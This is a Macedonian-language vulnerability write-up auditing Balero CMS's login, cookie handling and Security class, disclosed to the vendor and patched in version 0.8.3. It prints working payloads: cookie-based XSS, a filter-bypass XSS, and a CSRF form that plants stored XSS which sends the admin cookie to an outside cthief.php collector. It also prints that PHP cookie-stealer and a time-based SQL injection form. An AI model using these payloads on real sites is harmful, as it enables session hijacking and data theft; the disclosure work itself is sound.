криптира и се споредува со хаш вредноста што се наоѓа во ‘balero.config.xml’ фајлот.
  • 4. Ова го коментирам бидејќи апликацијата го користи генерираниот хаш во самата сесија на администраторот, во колачето (Cookie) ‘admin_god_balero’. Ќе се навратиме на безбедносните импликации на ова решение и самиот код малку подоцна. Ајде да ја отвориме скриптата ‘Router.php’ што се наоѓа во ‘core’ директориумот: 138: if(isset($_COOKIE['counter']) && $_COOKIE['counter'] >= 5) { 139: die(_LOGIN_ATTEMPS); 140: } Доколку cookie-то ‘counter’ е сетирано и е поголемо или еднакво на 5, тогаш апликацијата умира, односно, не можеме да пристапиме кон администраторскиот панел. На секој обид да се логираме со погрешна лозинка, вредноста се зголемува. Кога ќе извршиме 5 обиди, ќе бидеме блокирани. Ова е решение за Brute-Force напади. Но лесно се заобиколува со самото бришење на cookie-то или менување на вредноста да биде помала од 5. Подобро решение би било наместо на клиентската страна (client-side), вредноста да се проверува на серверската страна (server-side), пр. во MySQL сервер. Напаѓачите можат лесно да креираат скрипта што автоматски ќе го модифицира cookie-to или ќе го избрише, и ќе извршат brute-force напади. Доколку го погледнеме кодот подолу: 157: if(isset($_COOKIE['counter'])) { 158: $value = $_COOKIE['counter']; 159: setcookie("counter", $value+1, time()+120); 160: echo $_COOKIE['counter']; 161: } Дознаваме дека доколку бидеме блокирани, ќе бидеме блокирани неколку минути додека cookie- то не истече. Кодот во линијата 160 е ранлив на Cross-Site Scripting (XSS) напад. Нема никаква проверка нити санирање од страна на апликацијата, наспроти корисничко внесување. Командата ‘echo’ ќе ја испринта вредноста на cookie-to ‘counter’ без да провери дали има малициозни внесувања. Ако ја сменам вредноста на ‘counter’ cookie-to во: <script>confirm(“XSS”);</script> тогаш во прелистувачот ќе се изврши скриптата и ќе добиеме Confirm порака (JavaScript). Функцијата admin_router() во Router.php: 125: /** 126: * Router has the login page inside BlowFish class 127: */ 128: 129: public function admin_router() { 130: 131: $this->lang = new Language(); 132: $this->lang->init(); 133: $this->lang->init_apps_lang("admin"); 134: $this->lang->app = "admin"; 135: 136: //echo "cokie: " . base64_decode($_COOKIE['admin_god_balero']); 137: 138: if(isset($_COOKIE['counter']) && $_COOKIE['counter'] >= 5) { 139: die(_LOGIN_ATTEMPS);
  • 5. 140: } 141: 142: if(!isset($_COOKIE['admin_god_balero'])) { 143: if(isset($_POST['login'])) { 144: $cfg = new configSettings(); 145: $login = new Blowfish(); 146: $verify = $login->verify_hash($_POST['pwd'], $cfg->pass); 147: 148: if($_POST['usr'] == $cfg->user && $verify == TRUE) { 149: $value = base64_encode($cfg->user . ":" . $cfg->pass); 150: setcookie("admin_god_balero",$value, time()+3600*24); 151: //header("Location: index.php?app=admin"); 152: header("Location: ./admin"); 153: } else { 154: if(!isset($_COOKIE['counter'])) { 155: setcookie("counter", 1, time()+120); 156: } 157: if(isset($_COOKIE['counter'])) { 158: $value = $_COOKIE['counter']; 159: setcookie("counter", $value+1, time()+120); 160: echo $_COOKIE['counter']; 161: } 162: $this->message = _LOGIN_ERROR; 163: } 164: } 165: } 166: 167: if(isset($_COOKIE['admin_god_balero'])) { 168: 169: //echo("logeado"); 170: $cfg = new configSettings(); 171: $login = new Blowfish(); 172: 173: $cookie = base64_decode($_COOKIE['admin_god_balero']); 174: 175: //echo $cookie; 176: 177: $pieces = explode(":", $cookie); 178: $cookie_usr = $pieces[0]; 179: $cookie_pwd = $pieces[1]; 180: 181: 182: if($cfg->user == $cookie_usr && $cfg->pass == $cookie_pwd) { 183: //die("buscando..."); 184: $ldr = new autoloader("admin"); // cargar clases para la app 185: $this->init_mod(); 186: } else { 187: // remomve cookie 188: setcookie("admin_god_balero", "", time()-3600); 189: die("Hash Error"); 190: } 191: 192: } else { 193: 194: $cfg = new configSettings(); 195: $login = new Blowfish(); 196: $login->message = $this->message; 197: $login->basepath = $cfg->basepath; 198: 199: try { 200: 201: $this->nocache(); 202: echo $login->login_form(APPS_DIR . "admin/panel/login.html"); 203: 204: } catch (Exception $e) { 205:
  • 6. 206: die($e->getMessage()); 207: 208: } 209: 210: } 211: 212: unset($this->lang); 213: 214: } Можеме да видиме многу коментари од страна на програмерот низ целиот код што ни открива уште повеќе информации за полесна ревизија. Во функцијата admin_router() можеме да погледнеме уште едно справување со колачиња. Овој пат се работи за cookie-то ‘admin_god_balero’. Мора да имаме увид за работиниот тек на целата апликација за полесно навигирање низ кодот. Во овој случај, Balero проверува два услови. 1. Ако cookie-то ‘admin_god_balero’ не е сетирано, тогаш... (линија 142) 2. Ако cookie-то ‘admin_god_balero’ е сетирано, тогаш... (линија 167) Првиот услов: Ако колачето не е сетирано и се обидуваме директно да се најавиме во администраторскиот панел тогаш: се прави верификација на внесената лозинка и споредување со складираниот хаш со ‘configSettings.php’ и ‘Blowfish.php’ скриптите. И ни кажува дека ако POST параметарот ‘usr’ се совпаѓа со корисничко име, и verify_hash() ни враќа TRUE, тогаш: вредноста на колачето (корисничко име и хаш = $value) да биде Base64 енкодирано и сетирано во синтакса: admin_god_balero ... $value ... time()+3600*24. Е сега, знаеме дека апликацијата ни става cookie вредност што во исто време претставува и валидна сесија на администраторот. Проблемот со ова решение е што напаѓачот има шанса, со помош на MitM напад или други ранливости (XSS), да изврши Session Hijacking и комплетно да ја компромитира апликацијата. Вредностите на една сесија не би требало да содржат кориснички имиња и хаширани лозинки. И нормално, ова треба да се складира на серверска страна, а не во cookie вредности. Кога напаѓачот би дошол до ваква информација, не ни мора да кракира хашови. Едноставно самиот хаш ќе го внесе во cookie-то и ќе биде логиран како Администратор. Најтрагичното е тоа што сесијата е фиксна и не се менува. Вредноста е секогаш иста. За да го потврдиме ова, се логирав, го видов cookie-то во оваа форма: admin_god_balero=YWRtaW46JDJhJDA3JGhRU1k3NUJ2cXNyMlZLOWxWY3Z1bmUzNkFqdnhVTi4ueld3OC4uW XloMWNOcm9WRVFRRDVl Декодирано од Base64: admin_god_balero=admin:$2a$07$hQSY75Bvqsr2VK9lVcvune36AjvxUN..zWw8..Yyh1cNroVEQQD5e Обелоденување на корисничко име и хаш во Session ID. Можеме да кажеме и дека сме пронашле backdoor пристап бидејќи ако еднаш ја дознаеме вредноста на ова cookie, секогаш ќе имаме пристап...доколку нели, администраторот не направи нова инсталација на Balero CMS со нова лозинка и нов генериран хаш.
  • 7. Во вториот услов од линијата 167 се гледа како Balero прави споредба доколку е сетирано cookie- то ‘admin_god_balero’. Го декодира од Base64, го расчленува на два дела (cookie_usr и cookie_pwd) и прави споредба преку ‘configSettings.php’. Доколку смениме еден карактер во cookie-то, добиваме: Hash Error порака ;] Повикувања од Router.php -> configSettings.php -> balero.config.xml и споредување: 36: <admin> 37: <!-- admin god --> 38: <username>admin</username> 39: <!-- pwd encrypt --> 40: <passwd>$2a$07$hQSY75Bvqsr2VK9lVcvune36AjvxUN..zWw8..Yyh1cNroVEQQD5e</passwd> На полесен начин можеме и да бараме каде се се повикува конфигурацискиот фајл и Blowfish функцијата: Во Router.php можеме да видиме и повикувања до класата Security{} и функцијата shield(). Паралелно на тоа, гледаме обид на некој вид на санирање на GET параметарот ‘app’. Пример: 52: if(isset($_GET['app'])) { 53: if(empty($_GET['app'])) { 54: header("Location: index.php"); 55: } 56: 57: $security = new Security(); 58: $app_get = $security->shield($_GET['app']); Супер! Значи програмерот е запознаен со хакерските напади во светот и креирал посебна скрипта/класа/функција за заштита од напади како што се SQL Injection и XSS. Да ја погледнеме класата Security{} која се наоѓа во /core/Security.php фајлот: 15: class Security { 16: 17: private $var; 18: 19: 20: /** 21: * 22: * We need HTML tags like '<' or '>' 23: * but not the javascript tags 24: * 25: */
  • 8. 26: 27: public function noJS($var) { 28: $script_str = $var; 29: 30: $search_arr = array("<script>", 31: "</script>". 32: "@<script[^>]*?>.*?</script>@si", // Strip out javascript 33: "@<[/!]*?[^<>]*?>@si", // Strip out HTML tags 34: "@<style[^>]*?>.*?</style>@siU", // Strip style tags properly 35: "@<![sS]*?--[ tnr]*>@", // Strip multi-line comments including CDATA 36: "js:", 37: "javascript:", 38: "/(.*)/", 39: "alert", 40: "document.cookie", 41: ); 42: 43: $script_str = str_ireplace($search_arr, "", $script_str); 44: 45: /** 46: * Character escape for injections 47: * http://www.ascii.cl/htmlcodes.htm 48: */ 49: 50: $script_str = str_replace("'", "&#39;", $script_str); 51: 52: 53: return $script_str; 54: 55: } 56: 57: /** 58: * Blindar variable 59: **/ 60: 61: public function shield($var = "") { 62: 63: $this->var = $var; 64: 65: /** 66: * Nivel de protección. 67: */ 68: 69: $this->Level1($this->var); 70: $this->Level2($this->var); 71: $this->Level3($this->var); 72: 73: return $this->fix(); 74: 75: } 76: 77: public function fix() { 78: return $this->__toString(); 79: } 80: 81: public function Level1($str) { 82: $this->var = htmlspecialchars($str); 83: //$this->var = $str; 84: return $this->var; 85: } 86: 87: public function Level2($str) { 88: 89: $this->var = $str; 90: 91: /**
  • 9. 92: * 93: * Remover caracteres potencialmente peligrosos 94: */ 95: 96: $array = array("<script>", 97: "</script>". 98: "@<script[^>]*?>.*?</script>@si", // Strip out javascript 99: "@<[/!]*?[^<>]*?>@si", // Strip out HTML tags 100: "@<style[^>]*?>.*?</style>@siU", // Strip style tags properly 101: "@<![sS]*?--[ tnr]*>@", // Strip multi-line comments including CDATA 102: "js:", 103: "javascript:", 104: "/(.*)/", 105: "alert", 106: "document.cookie", 107: "%20"); 108: 109: $this->var = str_replace($array, "", $this->var); 110: 111: return $this->var; 112: } 113: 114: public function Level3($str) { 115: $this->var = str_replace("document.cookie", "", $str); 116: $this->var = str_replace("alert(.*)", "", $str); 117: return $this->var; 118: } 119: 120: public function __toString() { 121: return (string)$this->var; 122: } 123: 124: public function __destruct() { 125: unset ($this->var); 126: } 127: 128: } Функциите noJS(), shield(), Level1(), Level2() и Level3() во класата Security{} извршуваат санирање на внесените вредности од корисникот и заштитува од добро познати JavaScript и HTML малициозни тагови. Но во овој случај, санирањето е направено со користење на регуларни изразувања (regex) наспроти добро познати вредности или стрингови коишто му отежнуваат на напаѓачот успешно да дојде до експлоатација врз ранливите параметри. Тие изразувања можеме да ги видиме од линијата 30 до 40 во noJS() функцијата, пр: 30: $search_arr = array("<script>", 31: "</script>". 32: "@<script[^>]*?>.*?</script>@si", // Strip out javascript 33: "@<[/!]*?[^<>]*?>@si", // Strip out HTML tags 34: "@<style[^>]*?>.*?</style>@siU", // Strip style tags properly 35: "@<![sS]*?--[ tnr]*>@", // Strip multi-line comments including CDATA 36: "js:", 37: "javascript:", 38: "/(.*)/", 39: "alert", 40: "document.cookie", 41:) ; 42: 43: $script_str = str_ireplace($search_arr, "", $script_str);
  • 10. Анализирајќи го кодот, можеме многу лесно да ги заобиколиме овие филтри. Нели, во случај на XSS ранливост, напаѓачот ќе се обиде да изврши крадење на сесијата со помош на document.cookie и <script> вредности. Иако постојат многу други техники како на пример користење на prompt, confirm, onmouseover и сл. Нас целта ни е да ги заобиколиме овие заштити. Тоа можеме да го направиме со едноставно избегнување (escaping) на карактери. Пример: Товарот (payload): <script>alert(document.cookie);</script> ќе биде сменет во одговорот на серверот со null вредност, односно, кога апликацијата ќе го види <script> и document.cookie во побарувањето, во одговорот нема да го видиме нашето внесување поради линијата 43 во горенаведениот код. Апликацијата бара, и ги заменува дадените изрази со нулта вредност: $script_str = str_ireplace($search_arr, "", $script_str); Заобиколувањето на овие филтри би било вака: <script>alert(document.cookie)</script> Вака едноставно си добиваме за одговор: <script>alert(document.cookie)</script> што успешно сме извршиле Filter Bypassing. Знаејќи го ова, секаде кадешто ќе видиме користење на функциите од Security{} класата, можеме да извршиме XSS и SQL Injection напади. Пример за Stored XSS на POST параметарот ‘content’ во /site/apps/admin/mods/virtual_page/mod_virtual_page_Controller.php: 158: $this->modModel->update_virtual_content($_POST['id'], $id- >shield($_POST['virtual_title']), $id->noJS($_POST['content']), $_POST['a']); Гледаме како во формата за нов блог пост, ‘content’ параметарот (меѓу другите) е заштитен од JavaScript напади. За да го извршиме овој напад успешно, можеме да користиме само избегнување на тие вредности и ќе дојдеме до саканата сесија на администраторот. До саканата сесија на администраторот ќе дојдеме ако и само ако, најавениот администратор притисне на линкот што му е пратен од страна на напаѓачот. Видовме и дека во сите форми низ апликацијата не постои токен за заштита од Cross-Site Request Forgery (CSRF) напади што уште повеќе му ја олеснува работата на напаѓачот. За да го потврдиме ова, креираме доказ на концепт (PoC) со тагот iframe којшто не се наоѓа во листата на забранети тагови: <input type="hidden" name="content" value="pwned</textarea><iframe onload=confirm(document.cookie)>" /> Бидејќи: document.cookie не е еднакво на document.cookie iframe не се наоѓа во листата на забранети стрингови наместо alert, користиме confirm што исто така не се наоѓа во црната листа.
  • 11. Финалниот експлоатациски код во овој пример би бил вака: CSRF + Stored XSS + Filter Bypass + Session Hijacking: <html> <body> <form action="http://localhost/balerocms/admin/edit_delete_post/mod-blog" method="POST"> <input type="hidden" name="title" value="ZSL" /> <input type="hidden" name="content" value="pwned&lt;/textarea&gt;<script>document.location="http://www.zeroscience.mk/pen test/cthief.php?cookie="+document.cookie;</script>" /> <input type="hidden" name="files" value="joxy.poxy" /> <input type="hidden" name="delete_post[]" value="135" /> <input type="hidden" name="id" value="135" /> <input type="hidden" name="submit" value="" /> <input type="submit" value="Submit form" /> </form> </body> </html> Содржината на cthief.php што се наоѓа на мојот сервер: <?php $cookie = $HTTP_GET_VARS["cookie"]; mail("liquidworm@gmail.com", "XSSed", $cookie); echo "<script>location.href='http://localhost/balerocms/admin/';</script>"; ?> Кодот го презема cookie-то на администраторот и ми испраќа е-маил со содржината на тоа колаче (хашот/сесијата) и потоа веднаш се враќа до админ панелот за да не биде сомнително ;]. Администраторот кликнува на дадениот малициозен линк (експлоит) а јас го добивам ова:
  • 12. Бидејќи е Stored XSS, проверуваме во базата и потврдуваме дека товарот е таму: Секако дека можеме да користиме и на пр. HTML енкодинг и други заобиколувања на стрингови, но ова е само еден пример. Откако дознавме како да ги заобиколиме забраните, веќе низ целата апликација постојат ранливости од типот XSS и SQL Injection. Пример за SQL Injection на параметарот ‘id’ со HTML енкодирање: <html> <body> <form action="http://localhost/balerocms/admin/edit_page/mod-virtual_page/id-11" method="POST"> <input type="hidden" name="virtual&#95;title" value="ZSL" /> <input type="hidden" name="a" value="1" /> <input type="hidden" name="content" value="Testingus" /> <input type="hidden" name="&#95;wysihtml5&#95;mode" value="1" /> <input type="hidden" name="id" value="11&apos;&#32;and&#32;benchmark&#32;&#40;50000000&#44;sha1&#40;1&#41;&#41;&#45;& #45;&#32;" /> <input type="hidden" name="submit&#95;delete" value="" /> <input type="submit" value="Submit form" /> </form> </body> </html> Ако продолжиме понатаму ќе најдеме многу не-санирани параметри што претставува ранливост во истите но поради времето посветено за овој текст, тука ќе застанеме со анализата. Што следи, е одговорно и етички да го контактирам производителот и заедно да ги закрпиме овие ранливости. Уште пред да се напише овој текст, производителот на апликацијата беше контактиран и му беа пратени сите детали од анализата и пронајдените ранливости. Производителот како решение за овие сценарија, направи тотална ревизија и разви нов код и нови класи за побезбедно санирање со објавување на нова верзија: 0.8.3.
  • 13. Нова Security{} класа: Или закрпа со ново креираните функции за санирање (лево: закрпа, десно: ранлив код):
  • 14. Повеќе информации за Balero CMS, новиот код и предупредувањата: http://www.balerocms.com/blog/main/id-190 http://www.balerocms.com/blog/main/id-193 https://github.com/neblina-software/balerocms-src/releases https://github.com/neblina-software/balerocms-src/blob/master/core/Security.php http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5238.php http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5239.php Ѓоко Крстиќ gjoko@zeroscience.mk